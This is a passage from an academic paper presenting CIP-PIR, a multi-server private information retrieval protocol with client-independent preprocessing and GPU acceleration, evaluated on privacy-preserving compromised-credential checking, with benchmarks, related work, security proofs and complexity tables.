Shorter Hashes. In C3 [48], each compromised credential
is represented as a 32 bytes hash prefix of H, which results
in a database of |DB|= 32 ·N bytes, where N is the number
of compromised credentials. Since we only need to check for
equality, we can apply a trick from the PSI literature [17, 41,
42] and only use the first 40+ log2 |DB| bits of H (H) instead.
(The probability of a collision between the hash of the user
credential and any other hash is therefore only 2−40 and hence
negligible.) For a database of size 5 billion entries this cuts
the size of each entry down to only 73 bits, which reduces the
database size by factor 3.6×. Using a more relaxed bound on
the false error probability would result in even shorter values,
e.g., a bound of 2−20 (meaning that one in a Million users
gets a false warning) requires only 53 bits and results in a 5×
reduction of the database size. This compression techniques
can be used for any PIR database whose entries consists of
blocks and hash values are used to check for equality.

Optimal Blocksize. Let b be the size of blocks after com-
pression. The total communication per server for CIP-PIR is

C (b) =
B
n
+κ+b =

|DB|
bn

+κ+b, (1)

where the first term is the size of the information sent from the
client to the server, and the last two elements are the size of
the data sent from the server. One can easily show by deriva-
tion that C (b) has its local minimum at b̂ =

√
|DB|/n. Later

in §5.2.2, we will show that this reduces the size of the DB by
factor 1.2× compared to the uncompressed database without
any further optimization. We also show that the theoretically
computed values almost perfectly match with the measured
communication. Note that Eq. 1 only calculates the commu-
nication for one server. We can multiply C (b) by n to get
the total communication among all servers. The upload and
download are both sub-linear in |DB|.
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4 GPU-Accelerated Multi-Party PIR

In the PIR literature so far, GPUs were used to accelerate
heavy computations (relying on cryptographic hardness as-
sumptions) in single-server PIR [14, 37]. In multi-server PIR,
the computations are mainly cheap independent XOR oper-
ations for which modern processors require only one clock
cycle for a 512 bit block. Hence, for multi-server PIR, it was
unclear if the overhead induced by moving data between CPU
and GPU as well as managing CUDA blocks pays off or if it
is more efficient to directly compute the XORs on the CPU.
In this work, we show for the first time that GPUs can accel-
erate such cheap operations in multi-server PIR. For this, we
make use of the efficient thread management capabilities of
Nvidia’s CUDA architecture (cf. §2.3). We present two ap-
proaches for accelerating the huge amount of XOR operations
of multi-server PIR in §4.1.

In CIP-PIR (cf. §3.2), especially the offline phase can mas-
sively profit from outsourcing it to GPU clusters by batching
the computation of multiple (seed, value)-pairs. This mas-
sively reduces the internal memory shifting operations on the
GPU which are necessary for loading into the shared mem-
ory the database chunks that are currently computed. In §4.2,
we demonstrate how GPUs can substantially improve the
amortized runtime by batching multiple queries.

4.1 GPU-Acceleration of XOR Operations
The massive number of XOR operations are the main cost
factor of multi-server PIR. In this section, we demonstrate two
approaches for parallelizing these computations efficiently on
a GPU using Nvidia’s CUDA architecture (cf. §2.3).

All Compute One (ACO). In this approach, all CUDA-
blocks simultaneously compute a single (seed, value)-pair
together by looping over the query and one word5 of
the output is computer per thread. As the output consists
of b bytes (blocksize), we need C = db/Te CUDA-blocks,
where T denotes the number of threads in a CUDA-block. If
the GPU has more than Tpair =C ·T threads, we can compute
multiple pairs in parallel, i.e., the maximum number of pairs
that can be computed in parallel is Tmax/Tpair, where Tmax
denotes the number of threads on the GPU.

In-Register. In the in-register approach, each CUDA-block
with Tmax threads computes one pair, where each thread is
responsible for db/Tmaxe bytes of the b byte output. As the
thread’s registers have the fastest memory access speed, we
can accelerate the computation by storing the intermediate re-
sults in these registers. The maximum number of pairs that can
be computed in parallel is not clearly defined since GPUs with
CUDA Compute Capability 3.0 or higher can handle up to

5The word size depends on the GPU’s architecture (4 bytes for our GPUs).

Cmax = 231−1 CUDA-blocks. However, the maximum num-
ber of threads Tmax und the GPU are the limiting factor of this
approach as well. Thus, one can not naïvely set the amount
of CUDA-blocks to the maximum value Cmax since only a
few threads would compute on a single pair simultaneously.
Instead, we dynamically set the number of threads per CUDA-
block T and the number of CUDA-blocks C depending on the
blocksize b to significantly improve the performance.

4.2 Amortized Query Preprocessing
Batching multiple queries was already used in computational
PIR schemes [2, 23], but required waiting for multiple client
queries in IT-PIR schemes [1, 13] to collect several client
requests which increases online latency. We can now batch
multiple queries in the preprocessing phase without increasing
online latency in CIP-PIR as the computations are completely
independent of the client.

A main performance bottleneck of GPU-accelerated PIR
computation is that multiple portions of the database must
be copied into the GPU’s memory, which costs many clock
cycles (cf. §2.3). If we instead compute M (seed, value)-
pairs in parallel, we can amortize these times for copying
the database portions to the GPU among all M pairs. Con-
sequently, the total runtime of CIP-PIR consisting of the
online and the amortized preprocessing phase for a single
query, is faster than the online phase of a RAID-PIR query,
as batching multiple queries in RAID-PIR requires to wait
for multiple incoming queries (which obviously also takes
extra time). Hence, the amortized runtime in CIP-PIR im-
proves over RAID-PIR by factor 1.3× for CPU and by up to
factor 53× for GPU (cf. §5.2.1).

5 Implementation and Benchmarks

We implemented a CPU-based (cf. §3.2) and a GPU-
accelerated version (cf. §4) of our CIP-PIR protocol in C++,
as well as a CPU based version of FSS-PIR [8] using the
recent improvements on distributed point functions by Boneh
et al. [7]. We give the implementation details in §5.1 and
runtimes in §5.2.

Use-Case. As use-case for our experiments, we use Com-
promised Credential Checking (cf. §1.2), where the client
obliviously retrieves a block from the database and checks
if her hash computed from her username and password
is contained in it. The 32 byte hashes are compressed
to 8 bytes (cf. §3.3).

5.1 Implementation
Our implementation consists of three components: the
database generation, the server, and the client. We summarize
the details of the first two components next.
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Database Generation. Our database consists of pseudo-
random values, which simulates a real-world deployment of
C3 related applications (cf. §1.2), as hashed values are pseudo-
random as well and hence have the same distribution. The
database is stored in the RAM of the OS and the server’s GPU
memory. We created databases up to 3.5 billion entries which
suffices to cover the password breaches in Collection 1-5 [26].

Server. The online server’s main task is to answer the
client’s queries by computing the corresponding values based
on the precomputed (seed, value)-pairs. In the CPU-based
implementation, we use Intel AVX-512 intrinsics to enable
XOR operations over 512 bits with a single CPU instruction.
On top of this, we parallelize this approach using OpenMP.
Since the server does not need the whole query to start the
answer computation, we implemented a pipelining approach
that directly processes the query while it still receives the
client’s query.

5.2 Benchmarks
We benchmark our CIP-PIR schemes as follows: In sec-
tion §5.2.1, we benchmark the amortized preprocessing run-
time for various blocksizes b. In section §5.2.2, we benchmark
our CPU-based and GPU-accelerated CIP-PIR implementa-
tions and compare them with RAID-PIR [16] on the same
codebase and the single-server SealPIR [2].

Experimental Setup. For the benchmarks, we use the fol-
lowing Amazon AWS instances: For the GPU-accelerated
CIP-PIR and FSS-PIR servers, we use p3.2xlarge instances
each having an NVIDIA Tesla V100 yielding a computational
power of 7 TeraFLOPS and 16 GB of HBM2 memory with
a bandwidth of 900 GB/s and a wordsize of 4 bytes. The
machines have 8 vCPUs and 61 GB RAM which is sufficient
for our use-case because we can load databases up to the size
of the GPU memory, i.e., 16 GB in total. For the CPU-based
PIR implementations, we use c5.24xlarge instances which
deliver a high performance for compute-intensive workloads.
These instances feature 2nd generation Intel Xeon 8000 series
processors with a clockspeed of up to 3.6 GHz, 96 vCPUs
and 192 GB RAM in total to provide a fair comparison to the
GPU based approach. When writing this work, the p3.2xlarge
costs 3.823 USD per hour and the c5.24xlarge 4.656 USD per
hour, so that the GPU-accelerated instance is roughly 20%
cheaper. For the client, we use a t2.large instance, which has
2 vCPUs installed and 8 GB of RAM. Between client and
servers, we measured a network bandwidth of 1 GBit/s. We
always give average execution times over 10 benchmark runs.

5.2.1 Preprocessing Phase

We first benchmark the amortized runtimes of the preprocess-
ing phase of our CIP-PIR protocol.
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Figure 2: The amortized preprocessing time per (seed, value)-
pair of our CPU-based and two GPU-accelerated implemen-
tations. We use n = 3 servers, a database of 1 million entries
and an entry size of 8 bytes. The blocksize is given in bytes.

Influence of blocksize and number of pairs. In this
benchmark, shown in Fig. 2, we measure the amortized pre-
processing runtime for the CPU-based implementation and
both parallelization techniques of the GPU-accelerated imple-
mentation from §4.1. For this benchmark, we used a 8 GB
database consisting of 1M entries of 8 bytes and n = 3 servers,
i.e., 2/3 of the whole database is processed in the preprocess-
ing phase. The amortized runtimes grow linearly with the
database size (not shown in our benchmarks). We give bench-
marks for various blocksizes and number of simultaneous
computed (seed, value)-pairs.

CPU: The amortized runtime has no high impact on the
CPU-based implementation. The speedup of factor ≈ 1.3×
over the non-batched execution is only measurable until all
threads are occupied, but afterwards, the performance falls
back to a factor of ≈ 1.1× improvement. However, the CPU-
based implementation scales better for larger blocksizes, so it
is a natural choice to set the blocksize b to the optimal block-
size b̂ that yields the best communication overhead (cf. §3.3).

ACO: In the ACO parallelization technique (cf. §4.1), all
CUDA-blocks compute one (seed, value)-pair together. We
see a significant amortized runtime improvement compared
to the CPU-based implementation. This improvement grows
with the blocksize since the ACO technique scales very well
with larger blocksizes: Each thread needs to XOR a higher
number of blocks when choosing smaller blocksizes, since
the ACO approach uses the whole GPU computational power
to evaluate one seed after another. As long as the GPU’s
threads are not occupied, we observe a massive performance
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Figure 3: Runtimes for various blocksizes on the GPU-
accelerated implementation using the in-register approach.
Different colors indicate the number of 8 byte entries in the
database, whereby the marks show the amount of servers (n =
2 and n = 3) used in the corresponding experiment.

improvement as each thread processes one byte of the block.
Unfortunately, we do not gain further amortized runtime im-
provements for more than batch size |Q| = 1000 since the
ACO technique scales only linearly with the number of pairs.
However, the ACO approach improves the CPU-based imple-
mentation up to factor 2.6× for a batch size of |Q|= 1000

In-Register: Our most optimized approach called in-
register, where the threads compute on the values inside their
registers (cf. §4.1), shows a clear improvement over the ACO-
based by up to factor 63× and the CPU-based implementa-
tions by up to factor ≈ 85× for a batch size of |Q| = 1000.
This approach outperforms the amortized total runtime in-
cluding preprocessing and online time of RAID-PIR by fac-
tor ≈ 53×. With a higher batch size and larger blocksizes
the speedup factor is still 18×. Aside from minimizing the
memory accesses with high costs, the in-register approach
benefits from choosing the parameter for the CUDA-blocks
dynamically based on the blocksize and the hardware speci-
fications. We see that the amortized runtimes grows linearly
with the number of simultaneously computed pairs. However,
it is the only approach where increasing the blocksize has a
negative impact on the performance due to the overhead of
XORing more bytes per block. An optimization that is left
for future work is pipelining where already computed results
are copied to the server’s main memory while performing
further precomputations s.t. the cost of data transmissions can
be hidden almost completely.

Best blocksize for in-register approach. In this bench-
mark, shown in Fig. 3, we measure the preprocessing runtime
of the in-register-based implementation for various blocksizes
and database sizes, for n = 2 and n = 3 servers to investigate
whether an optimal blocksize for this approach exists.

We see in Fig. 3 that each database - except for the smallest
one with 100 000 entries - shows similar characteristics for the
in-register implementation: the overhead with too small block-
sizes is huge, but decreases exponentially to the optimal block-
size. Afterwards, the runtime increases nearly linearly with
the blocksize. It is interesting to see that the optimal block-
size scales only marginally with the size of the database, e.g.,
with N = 1 million entries the optimal blocksize is 512 bytes
whereas with N = 5 million entries it is 1 KB.

As the in-register approach is also used during the online-
phase of our GPU based FSS-PIR implementation, we will
constantly use 1 KB blocks for our further benchmarks which
gives the highest experimentally deviated speedup for the
online phase.

5.2.2 Setup and Online Phase

We compare our CPU-based CIP-PIR implementa-
tions (cf. §5.1) in C++, our reimplementation of FSS-
PIR [7, 8] and RAID-PIR [15, 16] using the same codebase
(including the parallelization and pipeline optimizations
outlined in §5.1), the original Python implementation of
RAID-PIR from [15,16] in Python, and the publicly available
single-server SealPIR implementation in C++ [2].

Setup Phase. In the one-time setup phase, a random PIR
database is generated, sorted, compressed, and the precom-
putations related to the database are processed and written
to a file. This phase is identical for RAID-PIR, CIP-PIR,
and FSS-PIR, and its bottleneck is the precomputation us-
ing the method of Arlazarov et al. (the “four-Russians” algo-
rithm) [15], which divides the database into equal sized groups
and precomputes all possible query combinations for each
individual group. In our implementation, we choose a group
size of 8, which requires precomputing 255 combinations for
each group. For our largest database of size 25 GB, this took
roughly 84 minutes. The optimal blocksize, where the amount
of upload and download data is almost the same, is b̂≈ 88 KB,
which results in roughly B = 284000 blocks. After compress-
ing each block as described in §3.3, the blocksize is reduced
by factor≈ 1.2× to b≈ 73 KB, which perfectly matches with
the theoretical analysis.

Online Phase. The main difference between CIP-PIR and
RAID-PIR is the amount of data each server has to touch in
the online phase. Concretely, a CIP-PIR server touches 1/n-th
of the database, while a RAID-PIR server with threshold 2≤
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Figure 4: Online runtimes of our CPU-based PIR implementa-
tions for different number of servers n on a 500 MB database.
Our implementations of the RAID-PIR [15, 16] and FSS-
PIR [7, 8] protocols uses the same codebase as CIP-PIR. The
threshold t of CIP-PIR is set to n.

t ≤ n processes t/n of the database.6 Thus, the online time of
our CIP-PIR protocol should improve over RAID-PIR by a
factor of t×. We observe this improvement in online runtime
also in practice, as shown in Fig. 4, where 2-5 servers operate
on a 500 MB database and achieve improvements of ≈ t×.

For a database of size 500 MB and n = 2 servers, our FSS-
PIR implementation performs best. However, if we increase
the number of servers to n = 5, our CIP-PIR protocol achieves
a similar performance, as CIP-PIR only needs to process 1/n
of the database in the online phase. So it is not surprising that
the total online runtime decreases for CIP-PIR and RAID-PIR
(where t/n of the database needs to be processed) decreases
with the number of servers. Obviously, this behavior will not
continue for larger number of servers n as the client’s overhead
of managing multiple connections becomes too high.

Communication. CIP-PIR and RAID-PIR have the same
amount of communication (independent of RAID-PIR’s collu-
sion threshold t), but RAID-PIR has only a single round-trip
while CIP-PIR has two round-trips. For a 500 MB database,
the client uploads ≈ 17.6 KB and downloads ≈ 15 KB
data with each server. An FSS-PIR client only needs to up-
load ≈ 500 byte (factor 35.2× improvement) and downloads
1KB (factor 15× improvement).

Comparison with other PIR implementations. In Fig. 5
we compare the online runtimes of several PIR implemen-
tations for varying database sizes and include the amor-
tized total cost (online and preprocessing runtimes) for our
CPU-based and GPU-accelerated CIP-PIR implementations.
We compare the communication complexity of several PIR

6Note that the total amount of computation in CIP-PIR and RAID-PIR
is exactly the same. CIP-PIR just shifts most of the computation costs to a
preprocessing phase. The online communication is equal for both protocols
and CIP-PIR just needs one more RTT, i.e., we have s slightly higher online
communication time than RAID-PIR.
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Figure 5: Runtimes of PIR implementations for different
database sizes |DB| and n = 2 servers (n = 1 for single-server
SealPIR [2]). The threshold for all RAID-PIR implementa-
tions is t = 2. The batch size for the amortized total cost is
set to |Q|= 1000.

schemes in §C. For RAID-PIR [15, 16] we set the collusion
threshold to t = 2 for best efficiency. CIP-PIR on a database
size of |DB| = 25 GB improves over our RAID-PIR imple-
mentation by factor ≈ 2× (≈ 4.2× for our GPU-accelerated
CIP-PIR implementation with in-register, cf. §4.1). This
matches what we would expect in theory as well. Most of the
online runtime is spent on the server’s huge number of XOR
operations, which we halve in CIP-PIR. Our GPU-accelerated
implementation improves over our CPU-based implementa-
tion by factor ≈ 2.1×. Moreover, our CIP-PIR implemen-
tation outperforms the original RAID-PIR implementation
of [15, 16] in Python (without parallelization and pipelin-
ing optimizations) by factor ≈ 7.7× (≈ 16.2× for our GPU-
accelerated CIP-PIR implementation).

Our CPU-based CIP-PIR protocol is substantially faster
than the state-of-the-art single-server PIR scheme SealPIR [2]
by factor ≈ 16.8× (≈ 30.6× for our GPU-accelerated imple-
mentation) as shown in Fig. 5. Single-server PIR schemes are
based on expensive homomorphic encryption operations and
the server needs to touch every bit of the database in order to
gain no information about the queried block. Unfortunately,
the current implementation of SealPIR does not implement
networking, so we only measured the computation times, but
already these were substantially slower than the total (compu-
tation + communication) times of (CIP-)RAID-PIR.

We chose a blocksize of b = 1 KB for our GPU-accelerated
FSS-PIR implementation as this has a low communication
overhead while our implementation performs best for this
blocksize (cf. Fig. 3). For database sizes up to 8 GB, the GPU-
accelerated FSS-PIR implementation outperforms our GPU-
based CIP-PIR because, in addition to the higher communica-
tion costs, CIP-PIR requires another communication round.
However, CIP-PIR can offset these additional communica-
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tion costs with savings in computational costs for database
sizes |DB|> 8 GB, even outperforming the total runtime of
FSS-PIR. This practical observation also matches with the
theoretical analysis: Computational costs grow linearly with
the database size, whereas communication costs increase only
sub-linearly, i.e., the online computation becomes the bottle-
neck of all PIR protocols. On a high level, the online phase
of FSS-PIR and CIP-PIR contain the same operations (ex-
cluding the query extraction from FSS-PIR), and differ in
that CIP-PIR only does half as much work (e.g., XORing
approx. 512 GB vs. 1024 GB for |DB|= 1 TB). When using
the same codebase as we did in our benchmarks, CIP-PIR is
faster then FSS-PIR as long as receiving the client’s query
(2 MB) is faster than XORing 512 GB. For |DB|= 25 GB, our
GPU-accelerated CIP-PIR implementation improves over our
GPU-accelerated FSS-PIR implementation by factor ≈ 1.6×.
The amortized total runtime of our GPU-accelerated CIP-PIR
implementation is worse for all of our benchmarked database
sizes, however, we see for a database of |DB|= 25 GB that
our FSS-PIR implementation only slightly (factor 1.04×) im-
proves over CIP-PIR. For larger database sizes |DB|> 25 GB,
we expect that even the amortized total runtime of CIP-PIR
improves over FSS-PIR. This observation is caused by the
fact, that less expensive memory movements need to be per-
formed when processing |Q|= 1000 queries in parallel in the
preprocessing phase.

6 Related Work

Multi-Server PIR. Chor et al. [10] introduced information
theoretically secure PIR and gave first constructions that use n
non-colluding servers where each server receives a query from
the client and sends a response to it. Several subsequent works
on multi-server PIR protocol [5,19,25,29] have the bottleneck
of computing in the online phase many XOR operations over
a large fraction of the database. The first multi-server PIR
scheme with logarithmic communication complexity based on
function secret sharing (FSS) via a distributed point function
was shown by Boyle et al. [7, 8]. FSS-based PIR improves
the upload communication by giving each server a distributed
function share, where all shares together are expanded into the
client’s query. Afterwards, this scheme still computes XOR
operations over the whole database which, as we show, is the
main bottleneck also in Chor et al. [10]-based PIR for large
databases, which we significantly improve in our work.

Most previous works on preprocessing PIR [6, 15, 16] per-
form an expensive one-time offline precomputation phase for
database-dependent values reducing the online computation
by a constant factor. As client-dependent offline phases are
well-established practice in MPC, this model also found its
way to the PIR literature. In a new work [13], the authors intro-
duce a new PIR model called Offline/Online (OO)-PIR, where
the servers and the client run a preprocessing phase before
the client knows which database entry it wants to access. The

main difference between their model and our CIP-PIR model
is that in (OO)-PIR the client is involved in the precomputa-
tion, whereas in CIP-PIR each server runs the precomputation
locally without even knowing the identity of the client(s). Our
protocol can be mapped into the (OO)-PIR model by moving
the first message of our online phase into preprocessing and
keeping a state of 128 bits for the seed and one block per
query. Our client-independent preprocessing is substantially
more powerful as it allows parallelization and amortization
across all clients.

Two very recent multi-server PIR protocols [33, 44] in the
OO-PIR model allow to efficiently retrieve a bit from the
database with sublinear online complexity. These schemes
are very efficient for retrieving small data but are inefficient
when large values (like hashes in C3 applications, or files)
need to be downloaded. In this case, Chor et al.-based PIR
protocols like our CIP-PIR, or FSS-PIR [8] are better suited.

As the implementations of [13, 44] are not publicly avail-
able and [33] was parallel and independent work (which runs
PIR on a single bit instead of larger messages), we leave an
experimental comparison with these works to future work.

GPU-accelerated PIR. The first GPU-accelerated PIR
scheme was shown by Melchor et al. [38, 39]. They utilize
GPUs to improve the runtime efficiency of their lattice-based
single-server PIR scheme by factor ≈ 10×. However, the
server needs to compute many modular multiplications, so
this scheme is still very inefficient. Mane et al. [36] replace
the modular multiplications with vector additions on a GPU
resulting in a much cheaper cost per bit ratio.

Marueac et al. [37] develop general techniques to improve
single-server PIR schemes by using CUDA exemplarily on the
PIR protocol of Kushilevitz and Ostrovsky [34]. This scheme
requires large integer multiplications and modulo products
among the whole database, which can be perfectly parallelized
by GPUs. Another optimization introduces a preprocessing
phase that takes place before the data is copied into the GPU’s
global memory. In the preprocessing phase, each block is
padded such that the next sequence of blocks starts with a
memory address that is a multiple of 16 bytes.

Dai et al. [14] use GPUs to improve Somewhat Ho-
momorphic Encryption (SWHE)-based single-server PIR
schemes [18]. They developed CUDA code that allows effi-
cient modular multiplications and modulus switching, which
is the main bottleneck of many single-server PIR protocols.

To the best of our knowledge, all previous works on using
GPUs to accelerate PIR were for single-server PIR which is
very compute intensive. A reason might be that multi-server
PIR schemes rely on very cheap operations like XOR s.t.
copying the relevant data into the GPU would eliminate the
performance improvement. In this paper, we show for the first
time in multi-server PIR how to precompute large parts of the
server’s answers independent of the client and thereby we can
benefit from GPU acceleration here as well.
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A Summary of RAID-PIR [15, 16]

Our protocol is based on RAID-PIR [15,16] which we summa-
rize next. RAID-PIR is an information-theoretic multi-server
PIR scheme based on Chor et al.’s PIR [10]. These schemes
use very efficient XOR operations and assume that less than
t ≤ n of the n servers are colluding.

We first give an informal description of the scheme of Chor
et al. [10]. In the two-server version, the input data D is split
into a database DB of B blocks of size b each. If the client
wants to learn block i, it sends to the first server a random B-
bit string q0, and sends to the second server a string q1 which
is equal to q0, except that the i-th bit is flipped. Each server
computes the XOR of the blocks which correspond to ‘1’ bits
in the string that it received, and sends the resulting b-bit
block to the client. The client then computes the XOR of the
two received blocks which is equal to the i-th block. The total
communication with each of the n servers is B+b bits.

In RAID-PIR [15, 16], the B blocks are split into n chunks
and t ≤ n chunks are sent to each server, so each server
stores t/n of the database. Consequently, the client’s queries
are shorter and each server only XORs a smaller subset of
the blocks (cf. Fig. 6). As before, the XOR of all n queries
is equal to a B-bit zero string with a ‘1’ bit at the block that
the client wishes to learn. A crucial observation that is used
to improve performance is that for any specific block, out of
the tk bits (k = B/n is the number of blocks per chunk) that
instruct t servers what to do with this block, (t−1)k bits can
be pseudo-random and only k bits need to be explicitly set to
ensure that the result of the XOR is correct. Therefore, instead
of sending a full length string to each server, the client can
send to each server a seed that is used to compute a (t−1)/n
fraction of the string that the server must use. This cuts the
communication from the client to the server by factor t×.

q0 011010 100010 011011
q1 101101 010110 100001
q2 001101 001101 101001
q3 010111 001011 001000
q = e9 000000 000100 000000 000000

Figure 6: Example RAID-PIR queries with n = 4 servers,
B = 24 blocks, n = 4 chunks, chunk size k = B/n = 6, and
collusion threshold t = 3. The orange cells are the flip chunks
while the white cells are the pseudo-random sub-queries. The
client requests the block at index i = 9.

B Security Proof of CIP-PIR

Claim 1 RAID-PIR (cf. §A) is multi-query secure according
to Definition 3.

Proof: Definition 3 requires that for any two equal-length
sequences R,R′ of queries, no subset of less than t servers can
distinguish between the view it observes for queries R and R′.

Let us assume first that instead of depending on a PRG and
using strings of the form PRG(Si) as the “non-flip chunks”,
the client only generates and sends truly random strings. In
this information-theoretic version of the protocol, it holds
for any block Bi that any t different shares of this block are
uniformly distributed under the constraint that the exclusive-
or of all t shares is equal to the client’s query. Therefore, any
subset of t−1 of these shares is uniformly distributed. The
view of any coalition of t−1 servers can be fully simulated
given their t − 1 shares. Since these shares are uniformly
distributed, this view is independent of the client’s request,
and is identically distributed for query sequences R and R′.

Consider now the RAID-PIR protocol, where the non-
flip chunks are generated by a PRG. Suppose that there is
a polynomial-time algorithm D which can distinguish be-
tween the view of the coalition of the t− 1 servers for two
sequences of requests of equal length, R and R′. This algo-
rithm D is not able to distinguish between these two views in
the information-theoretic version of the protocol. The differ-
ence between the two views is whether the string of the t-th
server that is used to retrieve an item(s) (the server which is
not controlled by the attacker) is pseudo-random or random.
Therefore, D could contradict the assumption that the PRG
is secure, by distinguishing between the outputs of the PRG
(for which it succeeds in distinguishing the two views) and
truly uniform strings (for which it does not).

Claim 2 For semi-honest servers, CIP-PIR (cf. §3.2) is multi-
query secure according to Definition 3.

Proof: For semi-honest servers the only difference between
RAID-PIR and CIP-PIR is that in the latter protocol the non-
flip chunks of the corrupt t − 1 servers are chosen by the
servers, rather than by the client. Let us prove that any corrupt
subset of t−1 servers cannot distinguish between its views
in any two request sequences R and R′.

Consider two settings: In the U-setting all servers outside
the corrupt subset use uniformly random non-flip chunks. In
the PRG-setting they generate these chunks using a PRG, as
is defined by the protocol.

For some parts of the database, all the servers in the corrupt
subset obtain non-flip chunks. These chunks are obviously
independent of the client requests R,R′ since they were gen-
erated by the servers themselves. For all other parts of the
database, exactly one of the servers in the corrupt subset ob-
tains a flip chunk sent by the client. The value of this flip
chunk is equal to the exclusive-or of the query, the non-flip
chunks chosen by the other corrupt servers, and, most impor-
tantly, at least one non-flip chunk chosen by a (non-corrupt)
server which is not a member of the corrupt subset. In the
U-setting the non-flip chunks outside the corrupt subset are
uniformly random and therefore the view of the corrupt subset
is also uniformly random and D cannot distinguish between
the views for R and R′. Assume that in the PRG-setting the
corrupt subset can run a polynomial-time algorithm D which
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can distinguish between its views for request sequences R
and R′. The existence of an algorithm D which distinguishes
between R and R′ in the PRG setting can be used to con-
tradict the assumption that the PRG is secure. This can be
shown by a standard hybrid argument: The first hybrid H0 is
identical to the U-setting where all non-corrupt servers use
uniformly random non-flip chunks. In H0, D cannot distin-
guish between R and R′ better than guessing the result. Hybrid
Hi is where the first i non-corrupt servers use a PRG and the
remaining n− (t−1)− i non-corrupt servers use uniformly
random strings. Hybrid Hn−t+1 is identical to the PRG-setting.
In Hn−t+1, D can distinguish between R and R′ with a non-
negligible advantage over guessing. Therefore there exists
an 1≤ i≤ n− (t−1), for which the difference between the
success probability of D when working in Hi−1 and in Hi is
non-negligible. In other words, D can be used to distinguish
between the case that a string is the output of the PRG or
uniformly random, if we plug that string as the values used by
the i-th server in Hi. This contradicts the security of the PRG.

Claim 3 For malicious servers, CIP-PIR (cf. §3.2) is multi-
query secure according to Definition 3.

Proof: Note that the security definition of PIR (as in Defi-
nition 3) is only concerned with the privacy of the client, and
not with the correctness of the protocol. Namely, the defini-
tion requires that corrupt servers cannot distinguish between
two different query sequences of the clients. In the protocol,
a server sends a seed Si to the client, receives a query from
the client, and sends an answer. This is done independently
for each query. Therefore, the only operation of malicious
servers that can affect the information that they receive from
the client (and can therefore lead to them breaking Defini-
tion 3) is changing the seeds that they send to the client, with
the goal that this change will result in the client sending in-
formation that enables breaking Definition 3. (For example
by resending the same seeds.) Recall that for a query of the
client, the client sends information that is embedded in a flip
chunk that is sent to one server. This information is based on
the client input and on the seeds received from t− 1 other
servers. The flip chunk is computed as the exclusive-or of the
expansion of the t−1 seeds and the query.

There are only two possible cases: In the first case one of
the corrupt servers is the recipient of the flip chunk. In the
second case, the recipient of the flip chunk is not corrupt.

In the first case, it must hold that at least one of the t−1
seeds that were expanded to strings that were XORed into the
flip chunk, was generated by an honest server. This seed is
random and unknown to the corrupt servers, and therefore the
string that is XORed into the flip chunk looks pseudo-random
to them. Therefore, a standard argument can show that if they
can distinguish that flip chunk from a random string then they
can also break the pseudo-randomness of the pseudo-random
generator that was used to expand the seed.

The other case is where all t−1 non-flip chunks affecting
the generation of a flip chunk are chosen by corrupt servers.
In this case the resulting flip-chunk is sent to another server,
which is not part of the corrupt coalition, and therefore the
security property required by Definition 3 is preserved. (We
must comment that in this case the corrupt servers might cause
the flip chunk to reveal information about the queries. For
example, if they repeat using the same seeds for two queries,
the exclusive-or of the flip-chunks of the two queries will be
equal to the exclusive-or of the queries. But since these flip
chunks are sent to an additional server which is not part of
the coalition, the requirement of Definition 3 is preserved.)7

C Complexity Analysis of CIP-PIR

In this section we compare the communication, computation
and storage complexities of RAID-PIR [15, 16] and our new
CIP-PIR scheme (cf. §3.2). We further show experimental
delay times and storage overheads of CIP-PIR.

Complexities. Table 2 compares the communication, com-
putation and storage complexities of RAID-PIR and CIP-
PIR. To minimize the number of variables, we set the block-
size b=

√
|DB|/n which is the optimal blocksize for n servers

and database size |DB| (cf. §3.3) . The number of blocks
is B= |DB|/b= n

√
|DB| and the number of blocks per chunk

is k = B/n =
√
|DB|.

Communication. The total amount of communication is
the same in both schemes. In both schemes, a κ bit seed is
uploaded (RAID-PIR) or downloaded (CIP-PIR). The query
for both schemes has B/n =

√
|DB| bits and an answer from

one server has size b =
√
|DB|/n, i.e., all n answers have in

total size
√
|DB|. However, our CIP-PIR scheme needs one

additional round-trip to receive the seeds from the servers,
which results in slightly higher communication time.

Server Computation. The server’s average online compu-
tation in our CIP-PIR protocol is r× smaller than in RAID-
PIR. In CIP-PIR, one server processes only one chunk of
size kb = |DB|/n whereas a RAID-PIR server processes r
chunks, where r is the threshold and k is the number of blocks
per chunk. We give the average number of XOR operations
as the actual number depends on the number of 1-bits in the
client’s query that is on average k/2 per chunk. Thus, we as-
sume that a server only needs to touch k/2 blocks per chunk.
Note that the database preprocessing (cf. §2.1) that is used
by RAID-PIR and in our implementation improves the costly
dependence on the client’s query to a constant number of
XOR operations (cf. [16] for details). This is done by building
groups of, e.g., eight blocks, precomputing all 28 linear com-
binations of the corresponding sub-query, and XOR only one

7In order to prevent even this attack, the redundancy parameter/threshold t
can be set under the assumption that at most t − 2 servers collude, and
therefore all flip-chunks depend on at least one legitimate seed.
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Scheme Communication RTT Server Computation (avg.) Client Computation Storage
RAID-PIR [16] n(2

√
|DB|/8n+κ/8) 1 Online: r|DB|/(2n)

√
|DB|(rn+1+1/n) |DB|r/n

CIP-PIR [this
work] n(2

√
|DB|/8n+κ/8) 2

Offline: (r−1)|DB|/(2n) √
|DB|(rn+1+1/n) |DB|r/n+ |Q|(

√
|DB|/n+κ)Online: |DB|/(2n)

Table 2: Comparison of communication, number of round trips (RTT), number of XOR operations for one server and for the client,
and storage per server for RAID-PIR [15, 16] and our CIP-PIR protocol (§3.2) with n servers holding a database of size |DB|
with threshold r and symmetric security parameter κ. The computation is based on the optimal blocksize b =

√
|DB|/n (cf. §3.3).

The preprocessing queue of our CIP-PIR protocol has |Q| entries.

DB Size (GB) Queue Size (MB) Offline Computation (s) Simultaneous Queries Delay avg. (ms)

0.8 142 214
1 23

10 96
100 1 091

4 316 1 003
1 93

10 364
100 4 619

8 447 1 996
1 176

10 737
100 8 500

Table 3: Queue sizes, offline computation times, and avg. delays until the client receives the desired block of our CIP-PIR
protocol (cf. §3.2)with n = 2 servers. The offline computation is the total time for filling the empty preprocessing queue with
|Q|= 10000 entries.

block per group depending on the query. The number of XOR
operations gets smaller with increasing threshold r as r−1
chunks are processed in the offline phase.

Client Computation. The client computation complexity is
equal for both schemes. A client XORs r times a bit per block,
which are in total Br = rn

√
|DB| XOR operations. After

the client receives all blocks from the servers, she XORs
all of them to compute the requested block, which are in
total (n−1)b =

√
|DB|(1+1/n) XOR operations.

Storage. Finally, a (CIP-)RAID-PIR server needs to
store r/n of the database, while the CIP-PIR server addition-
ally stores |Q| (seed, value)-pairs of size b+κ =

√
|DB|/n+

κ. Setting κ = 128 bit and |Q| � B, the storage overhead
is negligible compared to the performance gain of CIP-PIR.
